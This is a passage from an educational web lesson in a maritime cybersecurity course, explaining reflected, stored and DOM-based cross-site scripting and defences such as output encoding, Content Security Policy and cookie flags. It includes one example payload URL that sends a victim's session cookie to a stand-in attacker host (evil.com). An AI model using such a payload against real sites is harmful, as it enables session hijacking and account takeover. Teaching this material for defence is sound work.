📚 Series Maritime Cybersecurity Learning Roadmap | PART 2 Lesson 11 of 7 · Course Index →
PART 2 · Lesson 11 Injection XSS · Browser

Cross-Site Scripting (XSS)

Reflected XSS · Stored XSS · DOM-based XSS · Cookie Theft · Session Hijacking · Content Security Policy · Output Encoding · Cookie Security Flags — script injection into trusted web pages that executes in a victim's browser.

Captain Paul
Captain Paul
Maritime Cybersecurity · IACS UR E26/E27
September 2026
🎯 Lesson Objective

After this lesson you can explain what XSS is and why it differs from SQL Injection, describe the three XSS types (Reflected, Stored, DOM-based), explain how Stored XSS enables persistent session hijacking through cookie theft, explain the role of Content Security Policy (CSP) in blocking unauthorised scripts, and describe the HTTPOnly and Secure cookie flags as a key defence against cookie theft.


SQL Injection targets the server — it manipulates a database. Cross-Site Scripting (XSS) targets the user — it injects malicious JavaScript into a web page that executes in the victim's browser, in the context of the trusted site. Because the script runs from within the trusted domain, the browser does not treat it as foreign. The script has access to everything on the page: the DOM, stored cookies, session tokens, form inputs, and potentially the ability to make authenticated requests to the server.

XSS has appeared on the OWASP Top 10 since the list's inception and remains one of the most prevalent web application vulnerabilities. Its popularity as an attack vector is driven by the ubiquity of web applications, the wide range of browser APIs accessible to injected scripts, and the fact that the attack is invisible to the victim — they see no indication that a script is exfiltrating their session cookie to a remote server.

The root cause mirrors SQL Injection: user-supplied content is rendered in a page without proper encoding, allowing the browser to interpret it as HTML and JavaScript rather than as text. The fix is equally clear: encode all output before rendering it in a browser context. And like SQLi, the vulnerability persists because it is not always obvious which data paths require encoding and because legacy codebases often predate awareness of the issue.

1. The Three Types of Cross-Site Scripting

🔁 Reflected XSS (Non-Persistent)

The malicious script is embedded in a URL parameter. When the victim clicks the crafted URL, the server includes the parameter's value in the HTML response — without encoding it — and the browser executes it. The script exists only in the URL; it is not stored anywhere on the server.

Example attack chain: Attacker crafts a URL to a vulnerable search page: https://portal.example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> — the victim clicks the link (delivered via email or social media), the script fires in their browser, and their session cookie is sent to the attacker's server.

Delivery: Typically via phishing emails, malicious links in messages, or crafted URLs shared in forums or documents.

💾 Stored XSS (Persistent)

The malicious script is stored permanently in the server's database — in a comment field, a message, a profile description, a vessel name, or any user-submitted content that is later retrieved and displayed to other users. Every user who views the page containing the stored script becomes a victim. No interaction beyond visiting the page is required.

Why it is more dangerous: Stored XSS does not require social engineering to deliver. An attacker who gains access to any input field that persists data can attack every subsequent visitor — potentially including administrators, whose elevated session tokens are of particular value. A single injected payload in a fleet management portal's vessel name field or crew comment section could persist until the database is cleansed.

Maritime example: An attacker with access to a vessel record updates a comments field with an XSS payload. Every fleet manager who views the vessel details page is silently compromised.

🔧 DOM-based XSS

The vulnerability exists entirely in client-side JavaScript. The page's own JavaScript reads an attacker-controlled value (from the URL hash, a query parameter, or document.referrer) and writes it into the DOM without encoding. The server sends a perfectly safe response — the malicious script is constructed by the browser itself from the attacker-controlled source. DOM-based XSS is particularly difficult to detect with server-side scanners because the vulnerability is invisible in server responses.

Common source: Single-page applications (SPAs) that use location.hash or URLSearchParams values to render page content without encoding.

2. What an XSS Payload Can Do

XSS Payload Capabilities — Same Origin Context
Cookie Theft document.cookie exposes all non-HttpOnly cookies for the domain. A payload sending this to an attacker's server provides the session token — allowing the attacker to authenticate as the victim from a different machine without knowing the password.
Keylogging An injected script can attach an event listener to every keypress on the page and exfiltrate the user's input — capturing credentials typed into login forms after the session is already established, or during a re-authentication prompt.
Credential Phishing The script can overlay a fake login form over the legitimate page, asking the user to re-enter credentials. Because the URL remains the legitimate site's domain, the user has no visual reason to distrust the prompt.
Account Takeover With a valid session token (from cookie theft), the attacker can make authenticated API calls — changing the victim's email address, exfiltrating data, or performing administrative actions if the victim is an admin.
CSRF Token Bypass XSS breaks the CSRF defences of the same application — the script can read the CSRF token from the DOM and use it to forge authenticated requests, bypassing the primary defence against Cross-Site Request Forgery.

3. Defences — How to Prevent XSS

📝 Output Encoding

The primary defence. Before any user-supplied data is rendered in an HTML page, it must be HTML-encoded so that special characters are converted to their safe representation: < becomes &lt;, > becomes &gt;, and so on. The browser renders these as text characters, never as HTML tags or script elements. Context-aware encoding must be applied — HTML encoding, JavaScript encoding, and URL encoding are different and context-specific.

🛡️ Content Security Policy (CSP)

CSP is an HTTP response header that tells the browser which script sources it is allowed to execute. A properly configured CSP blocks all inline scripts (<script> tags injected via XSS) and limits external scripts to approved domains. Even if an XSS vulnerability exists, CSP prevents the injected script from executing. A strict CSP is one of the most effective compensating controls against XSS exploitation.

🍪 HTTPOnly Cookie Flag

Setting the HttpOnly flag on session cookies prevents JavaScript from accessing them — document.cookie will not include HttpOnly cookies. This eliminates the most common XSS payload objective: cookie theft. The attacker can still perform actions in the browser context, but cannot extract the session token to authenticate from another machine.

🔐 Secure Cookie Flag & SameSite

The Secure flag ensures cookies are only sent over HTTPS connections, preventing interception on unencrypted channels. The SameSite attribute (Strict or Lax) controls whether cookies are sent with cross-site requests, reducing the risk of Cross-Site Request Forgery (CSRF) and some XSS-assisted attacks.

Captain Paul
✍️ Author Insight — From the Field
Captain Paul · Maritime Cybersecurity Consultant · IACS UR E26/E27

During E26 CRSI assessments, XSS findings are encountered in maritime web portals more often than many operators expect. The typical scenario involves web applications built on top of relational databases containing crew and vessel data, where user-supplied text fields — vessel remarks, crew comments, notification messages — are stored and rendered back to administrators without HTML encoding.

The most consequential variant observed is Stored XSS targeting administrative users. An attacker who can submit a comment or record update through a lower-privilege account can potentially compromise an administrative session that later views the same data. Given that administrative accounts in fleet management systems often have access to the full crew database, vessel compliance records, and system configuration, the resulting impact can be far disproportionate to the initial access level required.

Quick validation test: Enter <b>test</b> in any text field that is displayed back to users. If the word "test" appears in bold in the rendered page, the application is not encoding output and is likely vulnerable to XSS. This single test — taking under ten seconds — is sufficient to identify the vulnerability class and justify escalation.

✅ Key Takeaways — Lesson 11
  • XSS injects malicious JavaScript into a trusted web page, which executes in the victim's browser with the page's full DOM access.
  • Reflected XSS is delivered via crafted URLs; Stored XSS persists in the server database and attacks every visitor; DOM-based XSS exists entirely in client-side JavaScript.
  • The most common XSS objective is cookie theft — stealing the session token to authenticate as the victim without needing a password.
  • Output encoding (HTML-encoding all user-supplied data before rendering) is the primary defence.
  • The HTTPOnly cookie flag prevents JavaScript from reading session cookies, eliminating cookie theft even when XSS is present.
  • Content Security Policy (CSP) prevents injected scripts from executing — a critical compensating control for applications where encoding all outputs is complex.
  • A quick test: enter <b>test</b> in input fields and check if "test" renders bold. Bold output means no output encoding.
▶ Next — Lesson 12

Lesson 12 — Zero-Day Vulnerabilities and Exploits covers software flaws unknown to the vendor — the CVE lifecycle, zero-day vs N-day threats, real-world cases (EternalBlue, Log4Shell, Stuxnet), and why maritime OT systems face heightened zero-day exposure. We also cover the key defences: patch management, virtual patching, and network segmentation.

📚 PART 2 — Understanding Cyber Attacks
DoneLesson 6 — Phishing & Social Engineering
DoneLesson 7 — Ransomware & the Cyber Kill Chain
DoneLesson 8 — DoS and DDoS Attacks
DoneLesson 9 — Man-in-the-Middle (MitM) Attacks
DoneLesson 10 — SQL Injection
Current Lesson 11 — Cross-Site Scripting (XSS)

⚓ Join the ShipPaulJobs Community

Join →
Share

Comments

Top Ranked · All Posts

Popular Posts